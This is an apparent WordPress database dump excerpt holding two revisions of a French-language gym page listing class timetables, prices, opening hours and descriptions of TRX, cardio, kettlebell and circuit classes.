(165, 1, '2013-07-03 16:28:22', '2013-07-03 16:28:22', '&lt;h2&gt;Team Training :&lt;/h2&gt;\r\nEntrainements en groupe avec un coach qualifié (8 à 12 personnes).\r\n\r\nEn semaine :\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;ttitre\&quot;&gt;Lundi&lt;/td&gt;\r\n&lt;td class=\&quot;ttitre\&quot;&gt;Mardi&lt;/td&gt;\r\n&lt;td class=\&quot;ttitre\&quot;&gt;Mercredi&lt;/td&gt;\r\n&lt;td class=\&quot;ttitre\&quot;&gt;Jeudi&lt;/td&gt;\r\n&lt;td class=\&quot;ttitre\&quot;&gt;Vendredi&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n\r\n\r\n\r\n\r\n&lt;h2&gt;Nous vous  proposons chaque jour :&lt;/h2&gt;\r\n- &lt;strong&gt;Team Training&lt;/strong&gt; : entrainements en groupe avec un coach qualifié (8 à 12 pers.)\r\n- &lt;strong&gt;Duo Training&lt;/strong&gt; : entrainements à deux personnes sous la supervision d’un coach\r\n- &lt;strong&gt;Personal Training&lt;/strong&gt; : un coach par personne, l’idéal pour progresser plus rapidement!\r\n- &lt;strong&gt;Coaching nutritionnel&lt;/strong&gt; : rendez-vous avec une diététicienne pour améliorer votre santé\r\n&lt;h2&gt;Prix :&lt;/h2&gt;\r\n&amp;nbsp;\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px; border-bottom-style: dotted;\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 séance : 9.00€1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 1 mois illimité : 69.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€Suivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;Horaire :&lt;/h2&gt;\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Du Lundi au Vendredi 4 séances : 17h30 – 18h15 – 19h00 – 19h45\r\nSamedi et Dimanche 3 séances : 11h00 – 11h30 – 12h00&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Personal et Duo Training (sur rendez-vous)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Tous les jours du lundi au dimanche.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;Les cours :&lt;/h2&gt;\r\n&lt;strong&gt;En semaine&lt;/strong&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Lundi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Mardi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Mercredi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Jeudi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Vendredi&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;strong&gt;Le week-end&lt;/strong&gt;\r\n&lt;table style=\&quot;border: 1px; width: 30%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Samedi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Dimanche&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;11h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;11h30&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;12h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;TRX&lt;/span&gt; :&lt;/strong&gt; entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;Circuit GLFE&lt;/span&gt; :&lt;/strong&gt; travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;RIP-KETTLE&lt;/span&gt; :&lt;/strong&gt; alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issu de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;CARDIO&lt;/span&gt; :&lt;/strong&gt; pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !', 'Les séances', '', 'inherit', 'open', 'open', '', '11-revision-v1', '', '', '2013-07-03 16:28:22', '2013-07-03 16:28:22', '', 11, 'http://www.crosstrainingcenter.be/?p=165', 0, 'revision', '', 0),
(163, 1, '2013-07-03 16:26:59', '2013-07-03 16:26:59', '&lt;h2&gt;Team Training :&lt;/h2&gt;\r\nEntrainements en groupe avec un coach qualifié (8 à 12 personnes).\r\n\r\nEn semaine :\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Lundi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Mardi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Mercredi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Jeudi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Vendredi&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n\r\n\r\n\r\n\r\n&lt;h2&gt;Nous vous  proposons chaque jour :&lt;/h2&gt;\r\n- &lt;strong&gt;Team Training&lt;/strong&gt; : entrainements en groupe avec un coach qualifié (8 à 12 pers.)\r\n- &lt;strong&gt;Duo Training&lt;/strong&gt; : entrainements à deux personnes sous la supervision d’un coach\r\n- &lt;strong&gt;Personal Training&lt;/strong&gt; : un coach par personne, l’idéal pour progresser plus rapidement!\r\n- &lt;strong&gt;Coaching nutritionnel&lt;/strong&gt; : rendez-vous avec une diététicienne pour améliorer votre santé\r\n&lt;h2&gt;Prix :&lt;/h2&gt;\r\n&amp;nbsp;\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px; border-bottom-style: dotted;\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 séance : 9.00€1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 1 mois illimité : 69.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€Suivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;Horaire :&lt;/h2&gt;\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Du Lundi au Vendredi 4 séances : 17h30 – 18h15 – 19h00 – 19h45\r\nSamedi et Dimanche 3 séances : 11h00 – 11h30 – 12h00&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Personal et Duo Training (sur rendez-vous)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Tous les jours du lundi au dimanche.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;Les cours :&lt;/h2&gt;\r\n&lt;strong&gt;En semaine&lt;/strong&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Lundi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Mardi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Mercredi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Jeudi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Vendredi&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;strong&gt;Le week-end&lt;/strong&gt;\r\n&lt;table style=\&quot;border: 1px; width: 30%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Samedi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Dimanche&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;11h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;11h30&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;12h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;TRX&lt;/span&gt; :&lt;/strong&gt; entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;Circuit GLFE&lt;/span&gt; :&lt;/strong&gt; travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;RIP-KETTLE&lt;/span&gt; :&lt;/strong&gt; alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issu de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;CARDIO&lt;/span&gt; :&lt;/strong&gt; pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !', 'Les séances', '', 'inherit', 'open', 'open', '', '11-revision-v1', '', '', '2013-07-03 16:26:59', '2013-07-03 16:26:59', '', 11, 'http://www.crosstrainingcenter.be/?p=163', 0, 'revision', '', 0),
